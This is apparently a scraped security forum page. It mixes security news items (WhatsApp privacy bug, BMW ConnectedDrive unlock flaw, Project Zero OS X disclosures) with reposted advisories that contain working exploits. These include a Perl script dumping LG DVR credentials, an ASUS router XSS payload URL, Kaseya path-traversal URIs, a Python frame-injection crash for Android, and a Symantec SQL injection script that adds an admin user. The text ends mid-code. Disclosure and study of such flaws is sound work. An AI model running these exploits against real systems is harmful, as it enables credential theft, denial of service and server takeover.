Search the Community

#!/usr/bin/perl # # LG DVR LE6016D unauthenticated remote # users/passwords disclosure exploit # # # Copyright 2015 (c) Todor Donev # <todor.donev at gmail.com> # http://www.ethical-hacker.org/ #### # # Digital video recorder (DVR) surveillance is the use of cameras, # often hidden or concealed, that use DVR technology to record # video for playback or immediate viewing. As technological # innovations have made improvements in the security and # surveillance industry, DVR surveillance has become more # prominent and allows for easier and more versatile security # systems in homes and businesses. A DVR surveillance security # system can be designed for indoor use or outdoor use and can # often involve hidden security cameras, concealed “nanny cams” # for home security, and even personal recording devices hidden # on a person. # #### # # Description: # No authentication (login) is required to exploit this vulnerability. # This program demonstrates how unpatched security bug would enable # hackers to gain control of a vulnerable device while sitting # behind their keyboard, potentially thousands of miles away. # An unauthenticated attacker that is connected to the DVR's may be # able to retrieve the device's administrator password allowing them # to directly access the device's configuration control panel. # #### # # Disclaimer: # This or previous programs is for Educational purpose ONLY. Do not # use it without permission.The usual disclaimer applies, especially # the fact that Todor Donev is not liable for any damages caused by # direct or indirect use of the information or functionality provided # by these programs. The author or any Internet provider bears NO # responsibility for content or misuse of these programs or any # derivatives thereof. By using these programs you accept the fact # that any damage (dataloss, system crash, system compromise, etc.) # caused by the use of these programs is not Todor Donev's # responsibility. # #### # Use them at your own risk! #### # # $ perl lg.pl 133.7.133.7:80 # LG DVR LE6016D unauthenticated remote # users/passwords disclosure exploit # u/p: admin/000000 # u/p: user1/000000 # u/p: user2/000000 # u/p: user3/000000 # u/p: LOGOUT/000000 # Copyright 2015 (c) Todor Donev # <todor.donev at gmail.com> # http://www.ethical-hacker.org/ # #### use LWP::Simple; print " LG DVR LE6016D unauthenticated remote\n users/passwords disclosure exploit\n"; if (@ARGV == 0) {&usg; &foot;} while (@ARGV > 0) { $t = shift(@ARGV); } my $r = get("http://$t/dvr/wwwroot/user.cgi") or die("Error $!"); for (my $i=0; $i <= 4; $i++){ if ($r =~ m/<name>(.*)<\/name>/g){ print " u\/p: $1\/"; } if ($r =~ m/<pw>(.*)<\/pw>/g){ print "$1\n"; } } &foot; sub usg(){ print "\n Usage: perl $0 <target:port>\n Example: perl $0 133.7.133.7:80\n\n"; } sub foot(){ print " Copyright 2015 (c) Todor Donev\n <todor.donev at gmail.com>\n"; print " http://www.ethical-hacker.org/\n"; exit; } Source

A privacy hole in WhatsApp allowed anyone to view someone else's profile photo – even if a user had configured the mobile messenger app to only show their pic to their contacts. The privacy slip-up, which came with the debut of WhatsApp’s newly-introduced web interface at web.whatsapp.com, was discovered by 17-year-old security researcher Indrajeet Bhuyan. The service was designed to allow users to chat with WhatsApp contacts through a browser, potentially on a PC or laptop. Privacy settings applied on the mobile app were apparently not carried over onto the browser-based version of the technology, launched just days ago and only available through Google's Chrome browser. On the smartphone side, you can only use the functionality on Android, BlackBerry and Windows Mobile since there's no iOS version at this nascent stage. There's no suggestion that messages themselves were exposed. Only profile pictures were viewable to world+dog. A second issue, also discovered by the enterprisingly precocious Bhuyan, means that deleted photos are still viewable through the web client even though they appeared as blurred if deleted when accessed though mobile versions of the software. In both case you'd need to be logged in to see pictures in the trash, blurred or otherwise. This issue apparently stems from glitches in syncing functionality. It's unclear if and when the web version of WhatsApp will be updated to iron out these security glitches. WhatsApp recently introduced end-to-end encryption to better secure users’ messages, much to the chagrin of UK politicians such as David Cameron. Bhuyan, who had previously discovered a way to crash WhatsApp on users’ phones simply by sending a specially crafted message, has put together videos illustrating the ?WhatsApp web photo privacy bug? (here) and photo synch bug (here). Security veteran Graham Cluley said even though no sensitive data had actually been exposed, the teenager was right to call WhatsApp out on the latest issues he's managed to uncover. "Sure, it’s not the most serious privacy breach that has ever occurred, but that’s missing the point," Cluley explained in a blog post. "The fact of the matter is that WhatsApp users chose to keep their profile photos private, and their expectation is that WhatsApp will honour their choices and only allow their photos to be viewable by those who the user has approved." Source

##################################### Title:- Reflected XSS vulnarbility in Asus RT-N10 Plus router Author: Kaustubh G. Padwad Product: ASUS Router RT-N10 Plus Firmware: 2.1.1.1.70 Severity: Medium Auth: Requierd # Description: Vulnerable Parameter: flag= # Vulnerability Class: Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)) # About Vulnerability: Asus Router RT-N10 Plus with firmware 2.1.1.70 is vulnarable for crosss site scripting attack,this may cause a huge network compemise. #Technical Details: The value of the flag request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload initial78846%27%3balert("Hacked_BY_S3curity_B3ast")%2f%2f372137b5d was submitted in the flag parameter. This input was echoed unmodified in the application's response. #Steps to Reproduce: (POC): After setting up router Enter this URL 1.http://ip-of-router/result_of_get_changed_status.asp?current_page=&sid_list=LANGUAGE%3B&action_mode=+App ly+&preferred_lang=&flag=initial78846%27%3balert(1337)%2f%2f372137b5d 2. this will ask for creadintial once creatintial enterd it will be successfull XSS # Disclosure: 8-jan-2015 Repoerted to ASUS 9-jan-2015 Asus confirm that they reported to concern department 15-jan-2015 Ask for update from asus asus says reported to HQ 28-jan-2015 Ask asus about reporting security foucus No reply from ASUS 29-jan-2015 security focus bugtraq #credits: Kaustubh Padwad Information Security Researcher kingkaustubh@me.com https://twitter.com/s3curityb3ast http://breakthesec.com https://www.linkedin.com/in/kaustubhpadwad Source

The problem was discovered by the Allgemeiner Deutscher Automobil-Club (ADAC), a German motoring association, and was verified on several models of BMW cars. The attack took advantage of a feature that allows drivers who have been locked out of their vehicles to request remote unlocking of their car from a BMW assistance line. “They were able to reverse engineer some of the software that we use for our telematics,” said Dave Buchko , a BMW spokesman. “With that they were able to mimic the BMW server.” The auto maker has already started sending out software patches to the 2.2 million cars equipped with Connected Drive and said it hadn’t come across any cases in which the vulnerability had been used to unlock or attempt to unlock its cars. Vehicles in the U.S. will get it beginning from next week, said Buchko. The fix adds HTTPS encryption to the connection from BMW to the car, which runs over the public cellular network. The added encryption will not only safeguard the content of the messages but also ensures that the car only accepts connections from a server with the correct security certificate. The incident highlights what is likely to be a big issue for auto makers in the coming years: identifying and patching software vulnerabilities and securing the technology going into modern cars. Today’s cars have millions of lines of computer software and are increasingly connected. Many cars offer Bluetooth, Wi-Fi and cellular connections, can be linked with smartphones and other devices and even accept third-party apps. All provide potential attack points for hackers. “If all it does is open the locks, it’s concerning, but if that vulnerability could have also sent messages to shut off the brakes, it would have been catastrophic,” said Joshua Corman of The Cavalry, a non-profit that works with auto makers on cyber-security issues. The organization, which launched in 2013 from the Defcon and BSides security conferences, recently published a framework with recommendations for auto-makers from the computer security industry about how to detect issues, contain and isolate them and respond to them. In part, it calls on car makers to publish policies that welcome interaction with the computer security industry. Because of laws like the Digital Millennium Copyright Act and the Computer, Fraud and Abuse Act, some researchers are hesitant to come forward with vulnerabilities lest they be accused of hacking and prosecuted, said Corman. In that case, a potentially serious security problem could go unpatched for years. “Our general intent is that the car industry are masters of their domain, we are the masters of ours and the safety outcome will be better if we work together,” he said. sursa: pcworld

( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Kaseya Browser Android Path Traversal Affected Versions: Kaseya Browser 7.0 Android PDF: http://www.security-assessment.com/files/documents/advisory/Kaseya_Browser_Android_Path_Traversal.pdf +-------------+ | Description | +-------------+ This advisory details a vulnerability found within Kaseya Browser Android application. A path traversal vulnerability was discovered within an exported content provider, resulting in the disclosure of arbitrary files, including internal application files. +--------------+ | Exploitation | +--------------+ The Kaseya Browser Android application exposes a content provider that is vulnerable to path traversal. This allows any other application installed on the device to read arbitrary files using the Kaseya Browser application’s permissions. This can be done by reading from the com.roverapps.retriever content provider as follows: content://com.roverapps.retriever/../../../../../sdcard/<file> content://com.roverapps.retriever/../databases/suitestorage.db +----------+ | Solution | +----------+ No official solution is currently available for this issue. +---------------------+ | Disclosure Timeline | +---------------------+ 03/10/2014 - Initial contact with Kaseya Support 09/10/2014 - Established Kaseya security contact 13/10/2014 - Advisories sent to Kaseya 21/10/2014 - Additional information sent to Kaseya 22/11/2014 - Update from Kaseya 29/01/2015 - Advisory Release +-------------------------------+ | About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650 Source

Site-ul sharewareonsale.com revine cu o promotie speciala, cu durata limitata pentru AVG Internet Security 2015. Il puteti avea cu licenta gratuita timp de un an de zile folosind link-ul de mai jos: AVG Internet Security 2015 gratuit: Free AVG Internet Security 2015 (100% discount) | Daily giveaways and discounts | SharewareOnSale Promotie valida inca trei zile din momentul postarii! -> Sursa: AVG Internet Security 2015 – licenta GRATUITA un an

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Android WiFi-Direct Denial of Service 1. *Advisory Information* Title: Android WiFi-Direct Denial of Service Advisory ID: CORE-2015-0002 Advisory URL: http://www.coresecurity.com/advisories/android-wifi-direct-denial-service Date published: 2015-01-26 Date of last update: 2015-01-26 Vendors contacted: Android Security Team Release mode: User release 2. *Vulnerability Information* Class: Uncaught Exception [CWE-248] Impact: Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0997 3. *Vulnerability Description* Some Android devices are affected by a Denial of Service attack when scanning for WiFi Direct devices. An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class. 4. *Vulnerable Packages* . Nexus 5 - Android 4.4.4 . Nexus 4 - Android 4.4.4 . LG D806 - Android 4.2.2 . Samsung SM-T310 - Android 4.2.2 . Motorola RAZR HD - Android 4.1.2 Other devices could be also affected. 5. *Non-vulnerable packages* . Android 5.0.1 . Android 5.0.2 6. *Vendor Information, Solutions and Workarounds* Some mitigation actions may be to avoid using WiFi-Direct or update to a non-vulnerable Android version. Contact vendor for further information. 7. *Credits* This vulnerability was discovered and researched by Andres Blanco from the CoreLabs Team. The publication of this advisory was coordinated by the Core Advisories Team. 8. *Technical Description / Proof of Concept Code* Android makes use of a modified *wpa_supplicant*[1] in order to provide an interface between the wireless driver and the Android platform framework. Below the function that handles *wpa_supplicant* events. This function returns a jstring from calling NewStringUTF method. /----- static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject) { char buf[EVENT_BUF_SIZE]; int nread = ::wifi_wait_for_event(buf, sizeof buf); if (nread > 0) { return env->NewStringUTF(buf); } else { return NULL; } } -----/ The WiFi-Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of this information. The WifiP2pDevice class, located at /wifi/java/android/net/wifi/p2p/WifiP2pDevice.java, represents a Wi-Fi p2p device. The constructor method receives the string provided by the *wpa_supplicant* and throws an IllegalArgumentException in case the event is malformed. Below partial content of the WiFiP2PDevice.java file. /----- [...] /** Detailed device string pattern with WFD info * Example: * P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e * pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188 * dev_capab=0x21 group_capab=0x9 */ private static final Pattern detailedDevicePattern = Pattern.compile( "((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "(\\d+ )?" + "p2p_dev_addr=((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " + "name='(.*)' " + "config_methods=(0x[0-9a-fA-F]+) " + "dev_capab=(0x[0-9a-fA-F]+) " + "group_capab=(0x[0-9a-fA-F]+)" + "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?" ); [...] /** * @Param string formats supported include * P2P-DEVICE-FOUND fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13 * pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27 * group_capab=0x0 wfd_dev_info=000006015d022a0032 * * P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13 * * AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * fa:7b:7a:42:02:13 * * Note: The events formats can be looked up in the wpa_supplicant code * @hide */ public WifiP2pDevice(String string) throws IllegalArgumentException { String[] tokens = string.split("[ \n]"); Matcher match; if (tokens.length < 1) { throw new IllegalArgumentException("Malformed supplicant event"); } switch (tokens.length) { case 1: /* Just a device address */ deviceAddress = string; return; case 2: match = twoTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(2); return; case 3: match = threeTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(1); return; default: match = detailedDevicePattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(3); primaryDeviceType = match.group(4); deviceName = match.group(5); wpsConfigMethodsSupported = parseHex(match.group(6)); deviceCapability = parseHex(match.group(7)); groupCapability = parseHex(match.group(8)); if (match.group(9) != null) { String str = match.group(10); wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)), parseHex(str.substring(4,8)), parseHex(str.substring(8,12))); } break; } if (tokens[0].startsWith("P2P-DEVICE-FOUND")) { status = AVAILABLE; } } [...] -----/ On some Android devices when processing a probe response frame with a WiFi-Direct(P2P) information element that contains a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the IllegalArgumentException. As this exception is not handled the Android system restarts. Below partial content of the logcat of a Samsung SM-T310 running Android 4.2.2. /----- I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0 E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event E/AndroidRuntime( 2129): at android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574) E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error -----/ 8.1. *Proof of Concept* This PoC was implemented using the open source library Lorcon [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library. /----- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += "\x50\x00" # Frame Control frame += "\x00\x00" # Duration frame += destination frame += source frame += source frame += "\x00\x00" # Sequence Control frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp frame += "\x64\x00" # Beacon Interval frame += "\x30\x04" # Capabilities Information # SSID IE frame += "\x00" frame += "\x07" frame += "DIRECT-" # Supported Rates frame += "\x01" frame += "\x08" frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" # DS Parameter Set frame += "\x03" frame += "\x01" frame += struct.pack("B", channel) # P2P frame += "\xDD" frame += "\x27" frame += "\x50\x6F\x9A" frame += "\x09" # P2P Capabilities frame += "\x02" # ID frame += "\x02\x00" # Length frame += "\x21\x00" # P2P Device Info frame += "\x0D" # ID frame += "\x1B\x00" # Length frame += source frame += "\x01\x88" frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" frame += "\x00" frame += "\x10\x11" frame += "\x00\x06" frame += "fafa\xFA\xFA" return frame def str_to_mac(address): return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:" print " poc.py <iface> <target>" print "Example:" print " poc.py wlan0 00:11:22:33:44:55" sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) context = PyLorcon2.Context(iface) context.open_injmon() channel = 1 source = str_to_mac("00:11:22:33:44:55") frame = get_probe_response(source, destination, channel) print "Injecting PoC." for i in range(100): context.send_bytes(frame) time.sleep(0.100) -----/ 9. *Report Timeline* . 2014-09-26: Core Security contacts Android security team to inform them that a vulnerability has been found in Android. Core Security sends a draft advisory with technical details and PoC files. . 2014-09-29: Android Security Team acknowledges reception of the advisory. . 2014-09-30: Core Security notifies that the tentative publication date is set for Oct 20rd, 2014. . 2014-09-30: Android Security Team acknowledges. . 2014-10-16: Core Security requests a status update. . 2014-10-16: Android Security Team responds that they have classify the vulnerability as low severity and don't currently have a timeline for releasing a fix. . 2014-10-20: Core Security does not completely agrees with the vulnerability classification and reschedule the publication of the advisory. . 2014-10-16: Android Security Team acknowledges and strengthens it's position that they don't currently have a timeline for releasing a fix. . 2015-01-06: Core Security requests a status update. . 2015-01-12: Core Security asks for confirmation of reception of the previous email. . 2015-01-16: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-19: Core Security notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. The advisory is re-scheduled for January 26th, 2015. . 2015-01-20: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-26: The advisory CORE-2015-0002 is published. 10. *References* [1] - wpa_supplicant site. [url]http://w1.fi/wpa_supplicant/[/url] [2] - Lorcon site. [url]https://code.google.com/p/lorcon[/url] [3] - PyLorcon2 site. [url]http://code.google.com/p/pylorcon2[/url] 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: [url]http://corelabs.coresecurity.com[/url]. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: [url]http://www.coresecurity.com[/url]. 13. *Disclaimer* The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: [url]http://creativecommons.org/licenses/by-nc-sa/3.0/us/[/url] 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at [url]http://www.coresecurity.com/files/attachments/core_security_advisories.asc[/url]. Source

Zippyshare.com

Telecoms security has been in and out of the headlines for almost two years now, ever since patriot/traitor/hero/villain (delete as your opinion dictates) Edward Snowden revealed the PRISM campaign and the rest in 2013. We've since learned that GCHQ has a pretty tight grip on the communications flowing around the UK and the rest of the world. So you'd think the folks at the top at GCHQ and the government would be adept at keeping their own comms secure. Not so, it seems. Sneak was amused to read that David Cameron received a prank phone call from someone who managed to bypass the switchboard security (the mind boggles as to how) and was given the mobile phone number of the head of GCHQ, Sir Robert Hannigan. Cameron explained that the hoax call took place while he was out for a walk, and was told, presumably by a government switchboard operator with a heavy case of 'Sunday afternoon lull', that he was being put into a conference call from Hannigan. Cameron, however, was not taken in and said he was immediately suspicious when the caller said sorry for 'waking him up' at the start of the call. Sneak knows politicians are often characterised as lazy, feckless types, but even he wouldn't have thought Cameron was in bed at 11am on a Sunday. "I thought that was strange as it was eleven o'clock in the morning," Cameron said, with James Bond-like calm. He then confirmed that he ended the call without revealing any national security information, such as Trident's tactical nuke launch codes, his inner thigh measurements or the location of the Holy Grail. Phew. Source

Don't look now, but Google's Project Zero vulnerability research program may have dropped more zero-day vulnerabilities—this time on Apple's OS X platform. In the past two days, Project Zero has disclosed OS X vulnerabilities here, here, and here. At first glance, none of them appear to be highly critical, since all three appear to require the attacker to already have some access to a targeted machine. What's more, the first vulnerability, the one involving the "networkd 'effective_audit_token' XPC," may already have been mitigated in OS X Yosemite, but if so the Google advisory doesn't make this explicit and Apple doesn't publicly discuss security matters with reporters. Still, the exploits could be combined with a separate attack to elevate lower-level privileges and gain control over vulnerable Macs. And since the disclosures contain proof-of-concept exploit code, they provide enough technical detail for experienced hackers to write malicious attacks that target the previously unknown vulnerabilities. The security flaws were privately reported to Apple on October 20, October 21, and October 23, 2014. All three advisories appear to have been published after the expiration of the 90-day grace period Project Zero gives developers before making reports public. Assuming the vulnerabilities remain active in at least some versions of OS X, it wouldn't be the first time Project Zero has gone against a developer's wishes and made unfixed security bugs known to the whole world. The Google-backed program has already published three unpatched vulnerabilities in Windows. Source

Internet entrepreneur Kim Dotcom has released an encrypted chat service, called MegaChat, to compete with the Microsoft-owned Skype. The release would be rolled out gradually, beginning with video-calling on Thursday, he said. The news came as it emerged a top EU official wants companies to be required by law to hand over encryption keys. The EU counter-terrorism coordinator's proposal follows a similar call by Prime Minister David Cameron. In a document leaked by the civil liberties group Statewatch, Gilles de Kerchove said encryption "increasingly makes lawful interception by the relevant national authorities technically difficult or even impossible". He wrote: "The [European] Commission should be invited to explore rules obliging internet and telecommunications companies operating in the EU to provide, under certain conditions as set out in the relevant national laws and in full compliance with fundamental rights, access of the relevant national authorities to communications (ie share encryption keys)." Mr De Kerchove refused to comment on the leaked document. Earlier this month, Mr Cameron said he wanted internet firms to allow the government to view encrypted messages in order to aid the security services. But his plans to revive the Communications Data Bill, dubbed the "snoopers' charter", were criticised by civil liberties groups and the Deputy Prime Minister, Nick Clegg. Announcing the launch of the beta version of his MegaChat service, Mr Dotcom said that video-calling would gradually be followed by a text-chat service and video-conferencing. About three years ago, Mr Dotcom's Megaupload site was seized and he was arrested in an armed raid on his New Zealand house. Announcing the launch of MegaChat on Twitter, he noted the timeline that lead from the raid to Thursday's announcement, highlighting the launch of his new site, Mega, and a political party in the subsequent years. And he wrote: "#Mega offers a security bounty again. Please report any security flaw to us. We'll fix it and reward you. Thanks for helping." Mr Dotcom still faces extradition from New Zealand to the United States on copyright infringement charges. In November last year, he said he was "broke" as a result of the consequent legal fight. He put the cost at $10m (£6.4m) since his arrest in 2012. Source

SEC Consult Vulnerability Lab Security Advisory < 20150122-0 > ======================================================================= title: Multiple critical vulnerabilities products: Symantec Data Center Security: Server Advanced (SDCS:SA) Symantec Critical System Protection (SCSP) vulnerable version: see: Vulnerable / tested versions fixed version: SCSP 5.2.9 MP6, SDCS:SA 6.0 MP1 - not all vulnerabilities were fixed, but mitigations exist impact: Critical CVE number: CVE-2014-7289, CVE-2014-9224, CVE-2014-9225, CVE-2014-9226 homepage: http://www.symantec.com found: 2014-09-19 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Symantec Data Center Security: Server Advanced v6.0 (DCS: Server Advanced) extends the Data Center Security: Server solution beyond agentless threat protections by incorporating technologies previous known as Critical System Protection. Data Center Security: Server Advanced provides granular, policy- based controls with a low impact in-guest agent to monitor and protect numerous physical and virtual server environments. Through a combination of technologies including application-centric controls including protected white listing, sandboxing using least privilege access controls, host-based intrusion detection (HIDS) and prevention (HIPS), and real-time file integrity monitoring (FIM), organizations can proactively safeguard their heterogeneous server environments and the information they contain from zero-day and targeted attacks, and fulfill their compliance mandates across critical systems. Click here for more info" Source: http://www.symantec.com/connect/forums/announcing-data-center-security-server-server-advanced-products Business recommendation: ------------------------ Attackers are able to completely compromise the SDCS:SA Server as they can gain access at the system and database level. Furthermore attackers can manage all clients and their policies. SDCS:SA Server can be used as an entry point into the target infrastructure (lateral movement, privilege escalation). Furthermore the SDCS:SA Client protections can be bypassed in several ways. It is highly recommended by SEC Consult not to use this software until a thorough security review (SDCS:SA Server, SDCS:SA Client Policies) has been performed by security professionals and all identified issues have been resolved. Note: SDCS:SA was replaced by SCSP. In this document the name SDCS:SA is used. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) Due to insufficient input validation, the application allows the injection of direct SQL commands. By exploiting the vulnerability, an attacker gains access (read/write) to all records stored in the database as arbitrary SQL statements can be executed. Furthermore the application design enables an attacker to gain code execution as SYSTEM (highest privilege Windows user) on the server by exploiting this vulnerability. No prior authentication is needed to exploit this vulnerability. Affected script: https://<host>:4443/sis-ui/authenticate 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) The applications suffers from a reflected cross-site scripting vulnerability, which allows an attacker to steal other users' sessions, to impersonate other users and to gain unauthorized access to the admin interface. Affected scripts: https://<host>:8081/webui/Khaki_docs/SSO-Error.jsp https://<host>:8081/webui/admin/WCUnsupportedClass.jsp 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) A script discloses internal information about the application on the server without prior authentication. This information includes file paths on the webserver, version information (OS, Java) and is accessible without prior authentication. Affected script: https://<host>:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) Several bypasses were discovered. These require Windows Administrator permissions. This requirement is usually met in SDCS:SA deployments. Note: SEC Consult did not check whether the mitigations provided by Symantec do in fact sufficiently mitigate these vulnerabilities! - Persistent code execution via Windows Services The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. - Remote code execution via RPC The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. In addition to that "psexec-style" remote code execution via SMB is possible as well. - Policy bypass: Extraction of Windows passwords/hashes The default Symantec policy rules do not prevent attackers from extracting the Windows passwords/password hashes from the System. - Privilege elevation via Windows Installer (msiexec.exe) The restrictions imposed by the default policies can be bypassed entirely by exploiting incorrect assumptions made in the policy regarding the Windows Installer (msiexec.exe). - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) The restrictions imposed by default policies can be bypassed partially by exploiting incorrect assumptions made in the policy regarding the Windows Management Instrumentation. The policy does not take intended OS functionality to execute code into account. Proof of concept: ----------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) The servlet accessible via /sis-ui/authenticate (TCP port 4443, HTTPS) is vulnerable to SQL injection. By sending a specially crafted HTTP request, arbitrary SQL statements can be executed. In a proof of concept exploit, SQL statements to add a new SDCS:SA user with admin privileges (username: secconsult, password: PASSWORD123!) were executed. These statements are: INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SECCONSULT', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); The code used to exploit the SQL injection vulnerability is listed below: import httplib def send_request(host,data): params = data headers = {"AppFire-Format-Version": "1.0", "AppFire-Charset": "UTF-16LE", "Content-Type":"application/x-appfire", "User-Agent":"Java/1.7.0_45", } conn = httplib.HTTPSConnection(host) conn.request("POST", "/sis-ui/authenticate", params, headers) response = conn.getresponse() data=response.read() conn.close() return response,data header ="Data-Format=text/plain\nData-Type=properties\nData-Length=%i\n\n" data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SV DESCRIPTION', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); -- '' " # add user to USR table #data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); -- " # add user to admin group data+="\r\nan=Symantec Data Center Security Server 6.0\r\npwd=GBgYGBgYGBgYGBgYGBgYGBg=\r\nav=6.0.0.380\r\nhn=WIN-3EJQK7U0S3R\r\nsso=\r\n" data = data.encode('utf-16le') 